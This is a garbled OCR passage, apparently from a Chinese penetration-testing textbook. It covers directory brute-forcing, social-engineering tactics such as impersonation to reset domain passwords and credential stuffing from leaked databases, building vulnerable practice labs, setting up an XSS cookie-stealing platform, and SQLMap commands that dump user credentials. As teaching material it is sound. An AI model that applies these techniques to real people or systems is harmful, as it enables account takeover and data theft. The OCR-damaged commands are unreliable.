中可以获取网站的后台管理页面、文件上传界面， 甚至可能扫描出网站的源代码。

针对网站目录的扫描主要有DirBuster、御剑后台扫描珍藏版、 wwwscan 、

Spinder.py C轻量级快速单文件目录后台扫描〉、 Sensitivefilescan （轻量级快速单文件

目录后台扫描）、 Weakfilescan （轻量级快速单文件目录后台扫描）等工具。本节简单

地讲解一下DirBuster。

Dir Buster是OWASP开发的一款基于Java编写的、专门用于探视］Web服务器的目录

和隐藏文件。因为是用Java编写的，所以需要在Java运行环境 ORE）下安装。该工

具的界面是纯图形化的，用法相对简单，使用的基本步骤如下。

在Target URL输入框中输入要扫描的网址，扫描时将请求方法设置为“Auto

Switch CHEAD and GET)”选工页 。

仅供非商业用途或交流学习使用
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设置线程的数值，推荐在20-30之间 。 太大了容易引起系统死机。

选择扫描类型，如果使用个人字典扫描，则选择“List based brute force ，，选项。

单击“Browse”选择字典，可以选择工具自带的字典，也可以选择自己的字典。

在Select starting options中选择“URL Fuzz，，方式进行扫描。设置臼zzing时需要

注意，在URL to fuzz里输入“I { dir｝”。这里的｛dir｝是一个变量，用来代表字典中的每

一行， 如图1-13所示。

回跑，.....＿…………………………………－File Options About Help 

brsot L'RL (es hup, c/ua崎h c帽· 80/)

lh口，. 11.吨. k＇咀’··也 tw/

fork Me. . Otse G盯同制”“曲lr • Auto S•ltch （也AD and G.盯｝

~er 旦哈哈吃~ζ］oGo 巴立一一－
S.leot scann1 ns 叮阳 " Llat bu•d br旧• (or” 。阳” Brute Force 

一－一一S.leot start ina 刷刷， OS田曲d start point ~ 

"' ElE 

口ls. Bl • 

Dir to 川雹川b [ 

F1h 川nt!on ［向

ι

＝
 

~ 

图1-13 DirBuste「的配置信息

如果你扫描的目标是问：／／www.x戒com/a削n/，那么就要在URL to fuzz里填写

“／admin/ ｛曲｝”，意思是在“｛dir｝”的前后可以随意拼接你想要的目录或者后缀，例
如输入“：／admin/{dir} .php”就表示扫描a也m目录下的所有php文件。

除此之外，读者还可以利用很多在线工具站，效果也相当不错，这里推荐一个：

WebScan (ht甲：／／www.webscan.cc／） 。

1.8 社会工程学

社会工程学在渗透测试中起着不小的作用，利用社会工程学，攻击者可以从一

名员工的口中挖掘出本应该是秘密的信息。
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假设攻击者对一家公司进行渗透测试，正在收集目标的真实IP阶段，此时就可以

利用收集到的这家公司的某位销售人员的电子邮箱。首先，给这位销售人员发送邮

件，假装对某个产品很感兴趣，显然销售人员会回复邮件。这样攻击者就可以通过

分析邮件头来收集这家公司的真实IP地址及内部电子邮件服务器的相关信息。

通过进一步地应用社会工程学，假设现在己经收集了目标人物的邮箱、 QQ、电

话号码、姓名，以及域名服务商， 也通过爆破或者撞库的方法获取邮箱的密码，这

时就可以冒充目标人物要求客服人员协助重置域管理密码，甚至技术人员会帮着重

置密码，从而使攻击者拿下域管理控制台，然后做域劫持。

除此以外，还可以利用“社工库”查询想要得到的信息，如图 1 -1 4所示，社工库

是用社会工程学进行攻击时积累的各方数据的结构化数据库。这个数据库里有大量

信息，甚至可以找到每个人的各种行为记录。 利用收集到的邮箱，可以在社工库中

找到己经泄露的密码，其实还可以通过搜索引擎搜索到社交账号等信息，然后通过

利用社交和社会工程学得到的信息构造密码字典，对目标用户的邮箱和OA账号进行

爆破或者撞库。

图 1-14 社工库
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第 2 章 搭建漏洞环境及实战

2.1 在 Linux 系统中安装 LANMP 

LANMP是Linux下Apache 、 Nginx 、 MySQL和PHP的应用环境，本节演示的是

WDLinux的一款集成的安装包，操作起来非常简单。首先， 下载需要的安装包，命

令如下所示。

wget http://dl.wdlinux. cn/files/lanmp_v3.ta 「 .gz

下载完成后进行解压， 解压文件的命令为tar zxvflanmp v3.tar.gz，运行环境如图

2”l所示。

: -#'-\ige口』ttp~／7汇市丑而丁盯在百man币丁..；3－：王百]Zl
··2018-02-24 '2Z:T8:3芋’γ· nnp:i/al·习。τrnu交：－cn7r ire·sTranmp二ψ王：ta 「 .gz

Resolving dl. 1·1dlinux . en { dl. wdlinux. en) . . . 222 . 186. 61. 177 
Conneeting to dl. wdlinux . en ( dl. wdlinux. en) 1222 .186. 61. 1771 : 80ι . . conneeted. 
HTIP request sent. a1-1aiting response .. 200 OK 
Length: 46706 (46K) {applieation/x-gzip] 
Saving to:’ lanmp_v3. tar .gz ’ 

lanmp v3.tar.gz 100电｛＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＞］ 45.61K ··.·KB/s 

2018 · 02 · 24 22: 18: 39 ( 2. 54 I’18/s),’ lanmp v3.tar.gz ’ saved [46706/46706] 

: -#laT示vfTanin~.句丑F：百丁
eonf/ （飞～. • • －一一…f

eonf/init.pu 「eftpd
eonf/defaulta2.conf 
conf/RPM-GPG ” KEY.dag.txt 
conf /vps __ my. cnf 

图2-1 安装LANMP 

输入sh lanmp.sh命令运行LANMP ， 这时程序中会有5个选项，如图2-2所示。 选

项l是安装Apache 、 PHP, MySQL、 Zend 、 PureFTPd和phpMyAdmin~!i务，选项2是安

装Nginx、 PHP, MySQL、 Zend、 PureFTPd和phpMyAdrnin服务，选项3是安装Nginx 、
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Apache 、 PHP 、 MySQL、 Zend 、 PureFTPd和phpMyAdmin服务，选项4是安装所有服

务，选项5是现在不安装。 Zend Guard是一款PHP加密工具，经过加密的文件，必须

安装Zend才能返回正常页面； PureFTPd是FTP空间服务： phpMyAdmin的作用是利用

Web页面来管理MySQL数据库服务。这里可以根据自己需要的环境，自行选择。

froot@adrnin ~]# sh lanmp.sh 
Select Install 

1 apache + php + mysql + zend + puref tpd + phpmyadrnin 
2 nginx + php + mysql + zend + pureftpd + phpmyadrnin 
3 ng工nx + apache + php + mysql + zend + pureftpd + phpmyadrn工口
4 install all service 
5 don ’ t install is n。w

Please Input 1 , 2 , 3 , 4,5 : 

图2-2 选择安装环境

在Kali和Ubuntu等系统中，输入sh lanmp.sh命令后提示有如下错误，如图2-3所示。

I :-# s h la… 
1anrnp . s h : 45 : 1ib/cornrnon . c onf : fun c tio n: n o t found 
1 a nrnp . s h : 67 : 1ib/cornrnon.conf : Syntax erro r ： “｝川 unex pec t ed

图2-3 错误提示

这是因为系统的dash兼容性不好，而编译常用的就是bash。所以可以输入以下命

令，直接更改系统的编辑器 C Shell）操作。

sudo d p kg － 「econfigu「E dash 

然后选择“＜No＞”选项，如图2-4所示。

I Co::.fl.9：二：：：：.~.孟 da~r, 1 

The system shell is t.he default: c。remand interpreter for shell scripts. 

Using dash as the system shell will improve the system's overall 
perfor嚣ance. It does not alter the shell presented to interactive users . 

Use dash as the default: system shell (/bin/sh)'? 

<Yes> 嚣圄

图2-4 Configu ri ng dash界面

接着输入sudo sh lanmp.sh命令继续安装，如图2-5所示。



: --# sud。 sh lanmp.sh 
-:ir·ep: 'etc r<edhat - r·el<?ase : No such file or directory 
~· <ep : /<?tc I r<edl1at - release: No such file 。r directo r y 
Se>l<ec t Install 

1 apache + php + mysql ＋二e>nd + pure f tpd + phpmyadm1n 
2 nginx + php + mysql + ::end + pureftpd + phpmyadmin 
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3 nginγ ＋ apache + php + mysql + ::end + pur·eftpd + phpmyadmin 
4 install all se>rvice 
5 do门’ t install is noνJ 

lease Input 1. 2 . 3, 4, 5 . 

图2- 5 选择安装环境

这时选择你要安装的环境即可， 安装的过程可能有点慢，安装完成后即可看到

如图2-6所示的内容。在浏览器中访问IP和8080端口，输入默认的账号admin和密码

wdlinux . cn ， 登录成功后应先修改默认密码， 防止被攻击。

图2-6 安装成功

2.2 在 Windows 系统中安装 WAMP

W灿ilP是Windows中 Apache 、 MySQL和lPHP的应用环境，这里笔者演示的是

WampServer，在本书的同步网站下载其安装文件。在安装时按照弹出的对话框提示，

单击 “下一步”按钮 。 通常在安装WampServer时会遇到一个问题，提示找不到

MSVCRllO . dll，解决方案是去http://www.zhaodll.com/d ll/download.asp?so位id=41552&

downid=2&iz3=2a9db44a3a7e2d7f65f2c100b6662097 &id=4 l 625下载Msvcx 110-zip后 ，

将 32 位的系统放到 C: \ Windows\System3 2 目 录下， 64 位的系统 则 放 到

C:\Windows\SysWOW64 目录下， 重新安装一遍就能解决。 如果遇到］Apache启动失败

的情况， 应当先卸载Apache服务， 然后重新安装Apache服务并启动，如图2-7所示。
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Versi。n

Apache 模块（A)

Alias 目录（L)

巳 httpd.conf
巳 Apache棋日志.（P)

口 Apache in!可日恕。

图2-7 启动Apache服务

启动成功后访问 1 27 . 0 . 0.1 ， 如图2-8所示，表示服务已经正常运行。

翩翩翩翩翩翩翩隘－－ ＋
， 、 0，史上量毫惶禀年束7< > c 0 0 http:/1127.0.0.1/ 

• ·σ苗g ；£同址大量 036咽章’‘带程中心 : Dr属 ＠田盟 B自谤 ” 哥脏圈

Server C。nfigurati。n
Apache Version · 2.4.9 - Oocu1回ntatlon

PHP Ve'5io n ’ 5.5.12 - Do四”’entatlon

Se同e<So仕ware: Apacl理／2.4.9 (W;n32) PHP/5.5.12 

Loaded Extensions : ’a间自2handler ’阳旧th
’ Core ’由民’ ereg ’·~f 
’ gd 

’险堕恒当也

’ unap ’ Json ’ mhash ‘咄咄
’暇时 ’ pae 
’阳ar ’ Retie曲回
’四p ’SO<如恒
’如曲emzer ’w曲’ xmlrpc :ltxmlwdte1 

”ySQL Version : 5.6.17 - Oocu凹，entation

’ bz2 ’臼怆瞄缸 ’由飞阳晒
’因『l ’ date ’由m
’陆时。 ’ filter ’阳’ gmp ’ hash ’四W’ 1;bxm1 ’mbstt1咱 ’~may怵

’m防哨 ’ mrsqlrd ’ odbc 
:ltPOO ’陶 m怖。 ’由－叫l恒’ sessoo ’由m叩 ’s;m肉XML

’S凡 ’明阻3 ’血叫aid
:ltxde以粤 ’ xml ’ "111reader 
’~xsl ’ z;p ’到b

T。。Is Your Pr·。jects Your Aliases 

J> phplnfo() 

~ php叫admin 

图2-8 访问127.0.0.1

阳 proie幅 yet. • php叫admin

T。α回tea new one, just createa dkectory ;n • ph阳yslnfo

、”时

w .. 霄，Se.-v...- D。旧H Alter Way 

• sqlb且Jddy

• we国『;nd
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2.3 搭建 DVWA 漏洞环境

DVWA是一款开源的渗透测试漏洞练习平台，其中内含xss 、 SQL注入、 文件上

传、文件包含、 cs盯和暴力破解等各个难度的测试环境。 在本书的同步网站下载其

安装文件。在安装时需要在数据库里创建一个数据库名，进入MySQL管理中的

phpMyAdmin，打开http: //127.0.0 .1/phpMyAdm1时，创建名为“dvwa”的数据库，如

图2-9所示。

phpMyAdmln 
’虫’K ii' Q 四L A 忧iii • lll P ..！ 粤岛 昌 阜λ ，， 谧置

企画＇ fll 理

‘= 

i chal l enaes 

j d回a

l infon国tion.._sche圃

’ j由e晶
1 .. 阳ol

6 iiStl ，因摩 @ 

l.tvw• I !Ill .... . 
ch>llonε .. 

dv’‘ 

• !:la＆跚

·Ii置恨’

图2-9 创建新的数据库

’ 倒霉

接着修改config文件夹下的config.inc.php中数据库的用户名、密码、数据库名，

如图2-10所示。

由

主咱睛

警喧嚣’

I 
a阳

”"""' 

: Daul:鬼”回回嗯，＇＂伺机a "”’ 
回国6•.四现：

司擅自， . ""1.'. 』＂＇＇＇＇＇＇曲＇＂

！， .，拙＂＇＇＂＇＂
~ 11 .. ，~， ＂＂＂幽e阳1n••&.•1血” ’lU
声回lil.H 饱n回舷l喀则早

阳，，...... ~.血统制：“＇＂＂＇＂＇
'.l•T.l ••on10 . 俨…··『
－阳［白如何 l I r..o<i I 
'.l>lli ＇~－~·血”’ i I •白 l
}Ml.I！＆•酣扩 ！ l ioo I 
:s.~w~：，.，.，； J I 院础f I 

' G时，自＇＂＂＂＂＇＇＂!ii.＇能啤..剧”’，，酬’也

图2-10 修改数据库的相关信息

修改完成后，保存并复制所有源码，粘贴在网站的根目录中，也就是WWW目录

下，打开浏览器访问http:/1127 . 0 . 0 .1/se阳p .php，单击“Create/Reset Database”按钮进

行安装，安装成功后则如图2-11所示，单击“login”即可登录，默认账号为admin,
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密码为password 。

I Create/ R酬 D嗣阳• I

1 0a1.国时asbeenc~. 一一一一一」

~·歪了二＝二3
3旦旦旦旦.to \Jser.;' table 一 _J 

~唰⑨1一二=:::J
2旦~叫m叫田阳川百二二3
~虽』ti －一二τ丁

~豆二－＝二＝二3

图2-11 安装界面

在安装过程中可能会出现红色的Disabled ， 修改PHP安装目录中的php.ini文件，

找到Jallow url include，把Off改为On ， 然后重启PHP即可解决这个问题，如图2-12所

刁亏 。

PHP 喃陌阳、 5 512 

Web S&Mr SERVER_NAME: 127 0.0 1 

PHP f\sictlon dis网ay_eno附 Enabled (Easy Mo曲。
PHP f\sic tion se饱 m。由在臼sabled
PHP 阳~rronw.11 1 1 ••·• • ••町耐＂＂＇~ 回国 ble d

PHP !Unction attow_u~＿ro阳n: Enabled 
PHP !Unction m饵，c_qool国_gpc ： 臼sat>回
PHP n回响曲Pil位阳刚回

图2-12 修改php.ini文件

ta Wiii be re .. l 
admln II pa回响。rd") at any st 
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2.4 搭建 SOL 注入平台

sq Ii-labs是一款学习SQL注入的开源平台，共有75种不同类型的注入，在本书的

同步网站下载完压缩包后并解压，复制源码然后将其粘贴到网站的目录中，进入

MySQL管理中的phpMyAdmin，打开http:/1127.0 .0.1/phpMyAdmin/，在数据库中新建

库名为“security”的数据库，并把源码中的sqI-lab.sq！文件导入数据库中，如图2- 13

所示。

phpMyAdmin 
』J SQL 吨 擅章 置四品喜出 时 喜λ ， 提ii' • ' 

~ • .曲

’ 导入到数据库“security ”

（最近使用的表）

一一阳 一一一一 11 惠呈l::,.tf.J文件L→一一一一一一 一一一－ecumv 川 i

- ' ~~i~~~罢J＇~i挝；＇.·ti岳!i;ii(~飞哲01ll ' . sql. sip 

川矶时：I t坐坐j叫叫 ｜ 刷刷：巳048 XBJ 

E件的字白’ u11.a · I 

一

。emails

iJ ref•町町S

口 uagents

d国ers

锺盒里A;_一一一一 －－一－一－
哑巴 All。• tho >ntmupuon of 姐山，。rt >n cue the sc口，t detect• H u cl 
C町 br,.k tr由＇°＂＇＂＝）

JI,蟹百岳堕llrl的白魁 。

地茎f主｛选项＝

自L ’民百帽王E NONE .1由

， 罩’给军幢幢罔自坦＂町O_llCll且l!llr) fl/ 

曰
图去13 导入数据库

打开sq！”connections文件夹中的db-creds.inc文件，可以修改数据库的账号、密码、

库名等配置信息，笔者修改完数据库密码后，打开浏览器访问 127 .0.0.1/sqll／，接着

单击“Setup/reset Database for labs”，如图2-1 4所示。
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SQLi-LABS Paae-1 {Basic Challenaes) 

1：＝吉、＼
1 也血过且国监国且i

图2 - 14 修改数据库的数据

笔者在WWW 目录中创建了sqll文件夹，并把代码放在该目录下，单击“Setup/reset

Database for labs ”后会自动访问h即：//127 .0.0.1/sql l/sql-connections/setup-db抖lp，如

果出现如图2-15所示的信息，说明安装成功。

"""'"" O O 11'ql1/•ol-<e<meeUoM/~•up do例市

SET丁ING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES 
1 • l 

Oldda恒base 'SECU何ITY’ purged if exists 

[') .....”” .Creating New database 'SECURITY’ sue回国fully

[").” ’.......... Creating New T曲le 'USERS' successfully 

('). ............ . Creating New Table 宦MAILS’ successfully

["). .Crealing New Table 'UAGENTS' successfully 

1·1 Creating New Table 『REFERERS’ successfully

["). ...... . .. .Inserted da回c。rrectlymt。恒ble'USERS’

(') •. .Inserted data correctly inlo table 'EMAILS’ 

!"J. ... Old databa国 purged if exists 

!"). ... .Creating New databasa succ到essfully

("]. .Creating New Table 'NDWWP5RP8口’ successtully

(') tnserted de恒 correctly into table 'NDWWPSRPSD' 

('). . Inserted 臼cret key ＇四cret_NWK6' int。国ble

图2-15 安装成功

2.5 搭建 xss 测试平台

xss测试平台是测试xss漏洞获取cookie并接收Web页面的平台， xss可以做JS

能做的所有事，包括但不限于窃取cookie、后台增删改文章、钓鱼、利用xss漏洞进

行传播、修改网页代码、网站重定向、 获取用户信息（如浏览器信息、 IP地址〉 等。

这里使用的是基于xsser.me的源码。 在本书的同步网站下载相关文件并解压，然后将

e 
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其放置在用来搭建xss平台的网站目录下 ， 安装过程如下所示。

. 进入MySQL管理界面中的phpMyAdmin界面，新建一个xss平台的数据库，

如xssplatform，设置其用户名和密码，如图2-16所示。

数据库

新温
teap 

咱 幅遭量量据库 @ 

rxs… ’ I~ 
数揭露 . 撞悻

>nfo,,.at>on 'choaa • 瞌置扭佩

町吨1 •：. 植Jilli.隔

0 test • ， 瞌置扭限

I XU ·植重损陨

唱善’ 4

图2-16 新建xss平台的数据库

• 修改config.php中的数据库连接宇段，包括用户名、密码和数据库名，访问

xss平台的URL地址，将注册配置中的invite改为normal，要修改的配置如

图2-17所示。

<?php 
/• • 
．“时崎.php 系箴筐里，~揭It!连接、 a示倍思椰

· 。ld0<3 , 01<.,h«"' ／／~ n1d＂组组俨~
• / 

/ • ~鸳感远’ •／
II敛揭S地址
11/!ftP 
H窑码
H数据S缉
II戴缉毒字符集
川’E名前罐
II敛揭摩笑l!:!d'l 事？只支”时叫川

Ceont1q ( 'db‘lo•< I 
Ceon t1q ( 'dt>Ooer• I I •＇”。t. :

S0<>nt1q ( 'dbP咽·】 a I •’,,.,”·. 
JI ＇＂°＂＇崎I ＇臼，....，，， .I

Cc。ntlq I' cha:o<t' I 
Cc。nhq （＇艺bPrchX' I • ＇。c ’ 2

Sccntlq ( 'dt>T址，c'J ··~y•ql'. 

/ • ；；主领雹重•／

E二二3 //nCr1Ml ， 芷霄， 1tlV1tt; ， 只允许温情注明；close,
11tt!fi时是否也销单证

Cccnfio l' reout«' J 
Seen ho I' .. 11.uth' J 

/ • url£震•／
Sconfio l 'urlroo• ' I l •'h阻。：／／lZ飞Q.0.1/' J1访阀的url.忽始
Sconfio ('orlrevnte'J • r a l oo · 川是否启用Orl Revr1 .. 

图2-17 修改config .php中的数据

• 进入MySQL管理中的phpMyAdmin，选择xss平台的数据库，导入源码包中

的xssplatform.sql文件，然后执行以下SQL命令，将数据库中原有的URL地

址修改为自己使用的URL，如图2- 18所示。 同时，也需要将auth test抖lp中的

网址代码蔷换为自己的URL，如图2-1 9中用线框标出的部分。

UPDATE oc_module SETcode=REPLACE(code,' http:// xsse「 .me ’ ，’ http ://you「domain/xss')

e 
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固树妃，……；二 l; i~年二二§豆t九二二白毛－－~~－~土二＝－－－；二三 三二］
浏览 3士 结构 Q 皿 导λ ， 接~铿索 量正敏λ

｛ ， 正在显示篇。－ 4 行的行董诩花费且0们｝

I Ul'DAT! oc_.odulo S!T 
2 c。d•吨ll'UCE （。。此’ http : //xsur . u ’,' http://localhost/xsHr’ ) 

J执行、 f时

图2-18 执行SQL语句

<1 
..τ'Or z喧，。rtlnq （罚’ 3

户 t量•Jt!Jl!tlt SFll飞Alml_O盟瓢，OCPll’＿a.m飞”的．．，

If 《《 • 10-L(S_SERllU （＇’”’＿AU?H_USER ＇）』’ t i <!I…e＂”，E能\IEl叫· ’”’＿.lUT”＿P… I ＞’） ( 

/ • 5!!<1· it造声盒墨示文%：：饱的’E罐头’C•t

－曲，rr町回·Ao<ecn:1cuc: Ilene rcai.-•' ·•“alul>u ( <rla(S_G盯（＇ 1n!O＇）））.…》 Z

b…er ( ' lfTTP/ ！.。 ．。三；；、•~ tl"~。uud' )I

．鸣’回， ...、>thor事’‘auon Roquucd. • 1 

．啤It:

I el.M If (( U”川仁’UVICR ('fl!飞A盯”＿CStlt＇）”““.－t (S_SH四川·阳’＿；..町飞阳＇ 11 ll ( 

”,naYPt(PllP_Alml_llS b…·叫01.ocua

,>

图2-19 修改URL

• 接下来访问搭建xss平台的URL，首先注册用户，然后在phpMyAdmin里选

择oc_user，将注册用户的a由iinLevel改为l，如图2-20所示。 再将config抖lp

注册配置中的normal改为invite（使用邀请码注册，即关闭开放注册的功能〉 。

字段 类重
AEm 

函戴

id int(ll) 
里）

司[ad mi吼叫 tinyint(l) 

userName varcha啊 ！

图2-20 修改adminlevel的值
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• 需要配置伪静态文件（ .htaccess），在平台根目录下创建.htaccess文件，写

入以下代码。

# apache 环境

<IfModule mod 「ewrite.c>

Rew「iteEngine On 
RewriteBase I 
Rewr、iteRule " ([0-9a-zA-Z]{6})$ /index.php?do=code&u「1Key=$1 [L] 
Rew「iteRule

"do/auth/(\w+?)(/domain／（［＼叭.］＋？））？$ /index . php?do=do&auth=$1&domain=$3 [L] 
Rew「iteRule "registe「／（. ＊？）$ /index.php?do＝「egiste「＆key=$1 [L] 
RewriteRule ＂「egiste「－ validate/(. * ?)$ /index . php?do＝「egister&act=validate&key=$1

[ L] 
</I手Module>

# Nginx 环境

「ewr、ite ＂＂／（［θ － 9a-zA-Z]{6} )$”/ index.php?do=code&ur1Key=$1 break; 
「ew「ite ""/do/auth/(w+?)(/domain/([w. ]+?))?$”/ index.php?do=do&auth=$1&domain=$3 
break; 
r、ewrite ＂ ＂／「egiste「／（.？）$”／index.php?do＝ 「egiste「＆key=$1 break; 
r、ewr、ite 川／「egister-validate／（.？）$”／index.php?do=registe「＆act=validate&key=$1

break; 
rewrite ""/login$”/ index.php?do=login b「eak;

• 使用注册的账号登录xss平台，创建项目，如图2-21所示。

XSS Platform ll!P, －且坦坦且

题筒’ll!!

囊”·幢
“植面LI!匾氢苗
圃画画鑫

圃’警事 匾噩噩罐 ’幅幅 咽·圃属 .,. 

’A失．属

墨画“~
llUJl 
监略凰撞

图2-21 登录×SS平台

自V



第 3 章常用的渗透测试工具

3.1 SOLMap 详解

SQLMap是一个自动化的SQL注入工具，其主要功能是扫描、发现并利用给定

U虹的SQL注入漏洞，内置了很多绕过插件，支持的数据库是MySQL 、 Oracle 、

PostgreSQL、 Microsoft SQL Se凹町、 Microsoft Access 、 IBM DB2, SQ Lite 、 Firebird 、

Sy base和SAPMaxDB 。 SQLMap采用了以下5种独特的SQL注入技术。

• 基于布尔类型的盲注，即可以根据返回页面判断条件真假的注入。

• 基于时间的盲注，即不能根据页面返回的内容判断任何信息，要用条件语

句查看时间延迟语句是否己执行（即页面返回时间是否增加）来判断。

• 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返

回到页面中。

• 联合查询注入，在可以使用Union的情况下的注入。. 堆查询注入，可以同时执行多条语句时的注入。
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标

文件系统，并在获取完全的操作权限时实行任意命令。 SQLMap的功能强大到让人惊

叹，当常规的注入工具不能利用SQL注入漏洞进行注入时，使用SQLMap会有意想不

到的效果。

3 .1 .1 安装 SOLMap

SQLMap的安装需要Python环境（不支持Python 3 ），本节使用的是Python 2. 7 .3, 

可在官网下载安装包并一键安装，安装完成后，复制Python的安装目录，添加到环境

变量值中，如图3-1所示。

e 
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』堕，j编缉系统变量

变重名 Qf): Path 

变量（~ (V) 。W indowsPowerShell飞vl. 口气，C \python2叫

C茧::::J c监2

图3-1 设置环境变量

然后在SQLMap的官网 Chttp://www.sqlmap.org）下载最新版的SQLMap，下载到

Python的安装目录下，并把SQLMap 目录加到环境变量中 。 打开cmd，输入sqlmap.py

命令后工具即可正常运行，如图3-2所示。

D: 'PYt hon '8QLM,,p ）~qlm<>1>. PY 

一一一＿ ：：一一一一一－一 (1.0.7.1511dev} .... . -· .. . .,.. 
.-·-· 

I :_: :_: http ：／／叫1叫·叫

Jll::«!J•O: :;q lna11 .1>Y [opt ion s >

l:;,i ln«p. PY: c 川、or: l'li::sing a nandato1•y option <-d. -u. -1, - n, - ... -g , c, x . 
I l"""wd, --upd«te. --put•g…utput or --dependencies). use - h for basic 。r - hh fo1· 
11 a血，，，need help _ , 

1IP1••?0::; Entc>" to continue ...嗣

图3-2 运行SQLMap

3.1 .2 SOLMap 入门

1 . 判断是否存在注入

假设目标注入点是http: /1192. 168.1 . l 04/sqll/Less- l/?id= 11 ，判断其是否存在注入

的命令如下所示。

sqlmap.py -u http://192.168.1.104/sqll/ Less-1/?id=l 

结果显示存在注入，如图3-3所示。
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图3-3 查询是否存在注入

还有一种情况，当注入点后面的参数大于等于两个时，需要加双引号，如下所

刁亏。

sqlmap .py -u ” http: //192 .168.1.104/sqll/Less-1/?id=l&uid=2 ” 

可以看到，运行完判断是否存在注入的语句后，“爆出” 一大段代码，下面来分

析代码反馈给我们的信息。这里有三处需要选择的地方： 第一处的意思为检测到数

据库可能是MySQL， 是否需要跳过检测其他数据库 ； 第二处的意思是在“levell 、 riskl ”

的情况下，是否使用MySQL对应的所有Payload进行检测 ； 第三处的意思是参数ID存

在漏洞，是否要继续检测其他参数， 一般默认按回车键即可，如图3-4所示。

e 
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图3-4 分析注入命令反馈回来的信息

2. 判断文本申的请求是否存在注入

从文件中加载HTTP请求， SQLMap可以从一个文本文件中获取HTTP请求，这样

就可以不设置其他参数（如cookie 、 POST数据等） ' txt文件中的内容为Web数据包，

如图3-5所示。

• • I 1 1.txt " 
GET /sqll/Less-1/?id=l HTIP/1.1 
Host: 192. 168. 1.104 
User-Agent: Mozilla/5.0 （问acintosh; Intel 问ac OS X 10.12; .r:x ；.？.~，.!1.l Gecko/20100101 Firefox/ 
53. 。
Accept: text/h卫IJ\l.. aP.四人;I＆号主主9.Q/xhtml+.ism~.‘且且且uι且tλRD.ν吕IJ\l.i.!!=0. 9 , *I* ; q=0. 8 
Accept-Language : ~~；；，剧，.~,IJ;.Q.=0. s, en-US; q=.'!,.? ••• i:n;.9.=0. 3 
Connection: close 
Upgrade-Insecure-Requests: 1 

图3-5 txt文件的内容

判断是否存在注入的命令如下所示，运行后的结果如图3-6所示，，r一般在存在

cookie 注入时使用。

sqlmap.py － 「 desktop/l.txt

@ 
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promote :~ l hienxuanS sqlmap . py -r desktop/l. txt 

H 

一一一一［＂］一一－一一－ {l.1.5.4副ev}
l一’ I . ! .J I • 'I . I 
l一＿I_ l'LLLL一， 1 一1

l一IV LI http://sqlmao . or 

[’] legal disclaimer: Usage 。f sqlmap for attacking targets without pri 。r mutual consent is 
illegal. It is the end user's responsibility to obey all applicable local, state and federal 
laws. Developers assume no liability and are not responsible for any misuse or damage cause 

d by this program 

[*] starting at 15:05:20 

[ 15 白 5 2 日 J [INFO] parsing HTTP request from 'desktop/l. txt' 
[15 05:20] [INFO] testing connection to the target URL 
[15:85:20] [INFO] checking if the target is protected by some kind 。f WAF I I PS/ IDS 
[15 85 28] [INFO] testing if the target URL is stable 
ll5:05 21] [INFO] target URL is stable 
[15 日5 21] [INFO] testing if GET parameter 'id ’ is dynamic 
[15 白5:21] [INFO] confirming that GET parameter 'id ’ is dynamic 
[15:05:21] [INFO] GET parameter 'id ’ is dynamic 
(15:85:211 I翩翩I隔J heuristic (basic) test shows that GET para配ter ’ id' •ight not be injec 
table 
[15:95:21] [INFO] heuristic (XSS) test shows that GET para配ter 'id' •ight be vulnerable t。
cross-site scripting attacks 
(15 日 5 21] [INFO] testing for SQL injection on GET parameter 'id' 
[15:05:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 
[15 :’ 05:21] [WARNING] reflective value(s) found and filtering out 
[15:“:22] [INFO] GET parameter ’ id' ap曹ears to be ＇州D boolean-based blind ，嗣ERE or HAVIN 
G clause' injectable (with --string="Your") 
[15:95:221 [INFO] heuristic (extended) test shows that the back甸回d DBHS could be 'ltySQL' 
it looks like the back-end 08115 is 'ltySQL'. Do you 旧nt to skip test payloads specific f。r o! 
ther OBllSes? [Yin] 
for the 时，aining tests. do you want to include all tests for ·四1ySQL' extending provided lev: 
el (1) and risk (1) values? [Y/nJ 
[15:05:23] [INFO] testing ’ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP B 
Y cl 月们＇ e IBTPNT llN气 TGNF!l 、 a

图 3 - 6 查询是否存在注入

3. 查询当前用户下的所青数据库

该命令是确定网站存在注入后，用于查询当前用户下的所有数据库，如下所示。

如果当前用户有权限读取包含所有数据库列表信息的表，使用该命令就可以列出所

有数据库，如图3 -7所示。

sqlmap.py -u ht tp ://192 . 168. 1. 104/sqll/Less 1/?id=l d b s 

从图3 -7中可以看到， 查询出了 17个数据库及所有数据库的库名。当继续注入时，

一dbs缩写成－D xxx，其意思是在xxx数据库中继续查询其他数据。

e 
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图3-7 查询数据库

4. 获取数据库申的表名

该命令的作用是查询完数据库后，查询指定数据库中所有的表名，如下所示。

如果在该命令中不加入－D参数来指定某一个具体的数据库，那么SQLMap会列出数据

库中所有库的表，如图3-8所示。

sqlmap.py -u "http: //192 . 168 . 1 . 7/sql/union.php?id=l ” - D dkeye --tables 

Database: dkeye I 
[3 tables] I 
+----------“··+ | 
I dns_info I I 
I use 「＿config I I 
I use 「＿info I I 
＋．．，－－””－喃－ - -+ I 

图3-8 dkeye数据库中的列表名

从图3-8中可以看到dkeye数据库中拥有的3个表名。当继续注入时， 一tables缩写

成－T ， 意思是在某表中继续查询。

5. 获取表中的字段名

该命令的作用是查询完表名后，查询该表中所有的字段名， 如下所示。运行该

命令的结果如图3-9所示。
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sqlmap.py -u ” http:/ /192 .168 .1. 7 /sql/union. php ?id=l" -D dkeye - T user、＿info - -columns 

Database: dkeye 
Table: use 「 info

[4 columns) 
’－－－－－－－－－－」E国－－.；

I Column I Type 
+--- -- －－－＋－－－－自－－－－－－－＋

I Id I int(ll) I 
I passwo 「d I va 「char(32) I 
I use 「 key I va 「char(32) I 
I use 「name I va 「char(25) I 
+-----”- －”·＋－－··甜”－－－－．．，＋

图3-9 查询字段名

从图3 -9中可以看到在dkeye数据库中的user_info表中一共有4个宇段。在后续的

注入中， 一columns缩写成－C 。

6. 获取字段内容

该命令是查询完宇段名之后，获取该字段中具体的数据信息， 如下所示。

sqlmap.py -u 响ttp: I /192 . 168 .1. 7 /sql/union. php ?id=l” - D dkeye -T use「＿info -C 

user、name,passwo「d --dump 

这里需要下载的数据是dkeye数据库里user_info表中usemame和password的值，如

图3-10所示。
重－

